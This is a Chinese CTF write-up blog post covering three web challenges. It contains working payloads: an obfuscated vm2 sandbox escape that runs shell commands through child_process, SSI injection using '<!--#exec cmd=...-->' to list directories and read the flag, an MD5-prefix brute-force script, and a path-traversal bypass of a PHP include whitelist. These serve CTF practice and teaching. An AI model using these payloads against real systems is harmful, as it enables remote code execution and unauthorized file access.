tothemoon
文章6
标签0
分类3
第 五 周 write up [[HFCTF2020]JustEscape [BJDCTF2020]EasySearch HCTF-2018-Web-warmup]

第 五 周 write up [[HFCTF2020]JustEscape [BJDCTF2020]EasySearch HCTF-2018-Web-warmup]

[HFCTF2020]JustEscape(VM沙箱逃逸)

页面打开后有一堆相当于提示的东西:目录下肯定有个run.php注意编码真的是php嘛

image-20201021121242505

打开run.php发现一段代码

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

image-20201021121455745

0x00

其一注意编码:这里应该是将code后面的数学运算式经过url编码后才能正确运行。

image-20201021122541132

image-20201021122729516

0x01

考虑到提示,又由于eval()函数不仅仅是php含有的,Node.js也有这个函数。于是用Errot().stack测试,页面回显了一堆错误报错。

image-20201021192944903

根据这些报错,应该可以确认是vm沙箱逃逸
在这里面有最新的沙箱逃逸的poc。
https://github.com/patriksimek/vm2/issues/225
但是直接用的话,应该会被waf拦截

image-20201021193000057

经过探测,发现wafu过滤掉了一下的关键字。

['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']

这时可以利用一下两种方式绕过:

1

官方write up给出的是在关键字字母上加上 ` 比如:image-20201021193723152

然后将poc里的whoami改为cat /flag的url编码image-20201021194120442

payload:

/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()

image-20201021194519667

2

另一种方法是将关键字(比如prototyp)改为:${${prototyp}e}

payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

image-20201021194805763

success

image-20201021195736157







[BJDCTF2020]EasySearch(shtml,ssi注入)

测试了一下常见的sql注入,没有回显。

于是用御剑扫了一下后台

扫描出了一个index的备份文件:index.php.swp

image-20201022181159131

<?php
    ob_start(); // 打开输出控制缓冲
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random; //生成一个ID
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) { // 截断 0到6  用python写脚本爆出md加密前六位为admin的数字
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml"; // 调用函数
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";

    }else
    {
    ***
    }
    ***
?>

用python写脚本爆出md加密前六位为$admin的数

image-20201022204426148

import hashlib
def md5(str):
    m = hashlib.md5()
    m.update(str.encode("utf8"))
    # print(m.hexdigest())
    return m.hexdigest()  
if __name__ == '__main__':
    flag = '6d0bc1'
    for i in range(0, 100000000000):
        if flag == md5(str(i))[0:6]:
            print(i)

登陆成功后回显了一个url连接

image-20201022211028510

访问之

image-20201022211049335

ssi注入

感觉没啥有用的,再百度了下shtml漏洞,发现有ssi注入。

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

image-20201022211235212

把username改为<!--#exec cmd="id" -->,这样就会把这个写入到这个shtml文件里面,出现以下回显就说明,存在ssi注入。

image-20201022211547266

然后构造payload找flag

找了根目录下没有

payload:<!--#exec cmd="ls /"

image-20201022212826658

又不是连木马,感觉flag应该好找,看看上一级目录。

payload:<!--#exec cmd="ls ../"

image-20201022213312814

打开flag_990c66bf85a09c664f0b6741840499b2

payload:<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"

image-20201022213445120

success

image-20201022213908743








HCTF-2018-Web-warmup(代码审计)

查看源码,访问source.php
在这里插入图片描述
发现有源码
在这里插入图片描述

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) { // 判断变量是否存在且为字符串类型
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) { // 检测变量里是否有白名单里的元素
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') // 查找?在字符串里出现的首个位置返回id
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file']) // $_REQUEST['file']值非空
        && is_string($_REQUEST['file']) // $_REQUEST['file']值为字符串
        && emmm::checkFile($_REQUEST['file']) //不为空,字符串,函数返回1
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

源码里发现有一个hint.php访问之,有一个提示,flag in ffffllllaaaagggg
在这里插入图片描述
知道flag的名称后就可以开始构造payload读取了,
经过代码审计后最重要的是要通过checkFile里的判断返回true;checkfile里面一共有三个判断可以返回true,进而读取flag。不过呢,并不是每一个都是有用的。
first:

if (in_array($page, $whitelist)) { // 检测变量里是否有白名单里的元素
                return true;
            }

second:

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') // 查找?在字符串里出现的首个位置返回id
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

last:

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

其中第一个没啥用,因为它直接就对$page与whitelist比较,这样的话能通过的情况就只有当$page为source.php或hint.php。
第二种和第三种区别在于第三种对page进行了一次url解码。
所以第二种和第三种都能构造出payload读取flag。
payload1:
为了让运实现函数in_array()时,能比较成功,就得让mb_substr()函数截断的时候只留下hint.php或source.php,所以可以在他们后面加上?再接上flag比如:file=hint.php?ffffllllaaaagggg。
可是却会出现滑稽
在这里插入图片描述

为什么呢?因为浏览器在进行解析的时候会自动url解码一次,所以我们得先url编码一次
payload:file=hint.php%3fffffllllaaaagggg

在这里插入图片描述

为什么还是出不了flag?可能是路径不正确,所以我们一级一级查看,最后:payload:file=hint.php%3f../../../../../ffffllllaaaagggg
在这里插入图片描述
payload2:
第三个判断前面又解码了一次,所以我们编码两次:payload:file=hint.php%253f../../../../../ffffllllaaaagggg;不用编码直接用?也是可行的。
在这里插入图片描述

success

在这里插入图片描述